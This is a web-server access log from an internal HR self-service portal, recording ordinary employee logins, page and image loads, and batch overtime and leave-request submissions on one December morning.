"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:51:28 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8971391044248366 HTTP/1.1" 200 11758 192.168.11.135 - - [05/Dec/2025:08:51:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:51:34 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4268 192.168.11.135 - - [05/Dec/2025:08:51:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:51:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.33 - - [05/Dec/2025:08:51:43 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6388400521656701 HTTP/1.1" 200 8456 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [05/Dec/2025:08:51:43 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6388400521656701 HTTP/1.1" 200 8456 192.168.11.135 - - [05/Dec/2025:08:51:47 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4357207338027186 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:51:47 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4357207338027186 HTTP/1.1" 200 8908 192.168.11.33 - - [05/Dec/2025:08:51:53 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6388400521656701 HTTP/1.1" 200 10638 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6388400521656701" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [05/Dec/2025:08:51:53 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.6388400521656701 HTTP/1.1" 200 10638 192.168.11.135 - - [05/Dec/2025:08:51:56 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4357207338027186 HTTP/1.1" 200 24852 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4357207338027186" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:51:56 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.4357207338027186 HTTP/1.1" 200 24852 192.168.11.33 - - [05/Dec/2025:08:52:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [05/Dec/2025:08:52:14 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4204 192.168.11.125 - - [05/Dec/2025:08:52:25 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:52:25 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.125 - - [05/Dec/2025:08:52:25 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:52:25 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 200 3837 192.168.11.125 - - [05/Dec/2025:08:52:25 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:52:25 +0800] "GET /eHR/img/loginbg.gif HTTP/1.1" 200 7026 192.168.11.125 - - [05/Dec/2025:08:52:25 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:52:25 +0800] "GET /eHR/img/index_banner_2.jpg HTTP/1.1" 200 45216 192.168.11.125 - - [05/Dec/2025:08:52:25 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:52:25 +0800] "GET /eHR/img/img1.jpg HTTP/1.1" 200 33358 192.168.11.125 - - [05/Dec/2025:08:52:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:52:25 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 200 123 192.168.11.125 - - [05/Dec/2025:08:52:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:52:26 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 200 124 192.168.11.125 - - [05/Dec/2025:08:52:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:52:27 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_f5f8f9_1x100.png HTTP/1.1" 200 104 192.168.11.125 - - [05/Dec/2025:08:52:27 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:52:27 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.125 - - [05/Dec/2025:08:52:32 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:52:32 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.125 - - [05/Dec/2025:08:52:33 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 192.168.11.125 - - [05/Dec/2025:08:52:33 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:52:33 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 192.168.11.125 - - [05/Dec/2025:08:52:33 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:52:33 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 192.168.11.125 - - [05/Dec/2025:08:52:33 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:52:33 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 192.168.11.125 - - [05/Dec/2025:08:52:33 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 200 3270 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:52:33 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:52:33 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186 192.168.11.125 - - [05/Dec/2025:08:52:33 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 192.168.11.125 - - [05/Dec/2025:08:52:33 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:52:33 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:52:33 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 192.168.11.125 - - [05/Dec/2025:08:52:33 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:52:33 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 192.168.11.125 - - [05/Dec/2025:08:52:33 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:52:33 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 192.168.11.125 - - [05/Dec/2025:08:52:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:52:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 192.168.11.125 - - [05/Dec/2025:08:52:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:52:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 192.168.11.125 - - [05/Dec/2025:08:52:34 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:52:34 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 192.168.11.125 - - [05/Dec/2025:08:52:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:52:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.125 - - [05/Dec/2025:08:52:34 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:52:34 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 192.168.11.125 - - [05/Dec/2025:08:52:34 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:52:34 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_f9bd01_256x240.png HTTP/1.1" 200 4369 192.168.11.125 - - [05/Dec/2025:08:52:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:52:36 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.125 - - [05/Dec/2025:08:52:38 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 192.168.11.125 - - [05/Dec/2025:08:52:38 +0800] "GET /eHR/img/date.png HTTP/1.1" 200 626 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:52:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:52:38 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_gloss-wave_55_5c9ccc_500x100.png HTTP/1.1" 200 3457 192.168.11.125 - - [05/Dec/2025:08:52:38 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:52:38 +0800] "GET /eHR/img/icon-time.gif HTTP/1.1" 200 242 192.168.11.125 - - [05/Dec/2025:08:52:47 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 "http://192.168.1.83:8088/eHR/css/layout/layout.min.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:52:47 +0800] "GET /eHR/img/layout/resizable-w.gif HTTP/1.1" 200 368 192.168.11.135 - - [05/Dec/2025:08:52:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:52:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.135 - - [05/Dec/2025:08:52:58 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132741%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132741&target=iframe HTTP/1.1" 200 3251 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:52:58 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E5%9C%A8%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNE023%26requestno%3D132741%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%94%B3%E8%AB%8B%E8%99%95%E7%90%86%E7%B5%90%E6%9E%9C.%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%E7%82%BA%3A132741&target=iframe HTTP/1.1" 200 3251 192.168.11.125 - - [05/Dec/2025:08:53:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:53:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 192.168.11.125 - - [05/Dec/2025:08:53:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:53:02 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 192.168.11.135 - - [05/Dec/2025:08:53:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8125 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:53:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8125 192.168.11.33 - - [05/Dec/2025:08:53:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [05/Dec/2025:08:53:17 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.125 - - [05/Dec/2025:08:53:18 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9961774536457939 HTTP/1.1" 200 10228 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:53:18 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9961774536457939 HTTP/1.1" 200 10228 192.168.11.135 - - [05/Dec/2025:08:53:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 14519 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [05/Dec/2025:08:53:21 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 14519 192.168.11.125 - - [05/Dec/2025:08:53:27 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9961774536457939 HTTP/1.1" 200 12400 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9961774536457939" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:53:27 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.9961774536457939 HTTP/1.1" 200 12400 192.168.11.125 - - [05/Dec/2025:08:53:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4197 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:53:33 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4197 192.168.11.125 - - [05/Dec/2025:08:53:35 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:53:35 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 192.168.11.125 - - [05/Dec/2025:08:53:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.125 - - [05/Dec/2025:08:53:35 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 192.168.11.135 - - [05/Dec/2025:08:53:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - 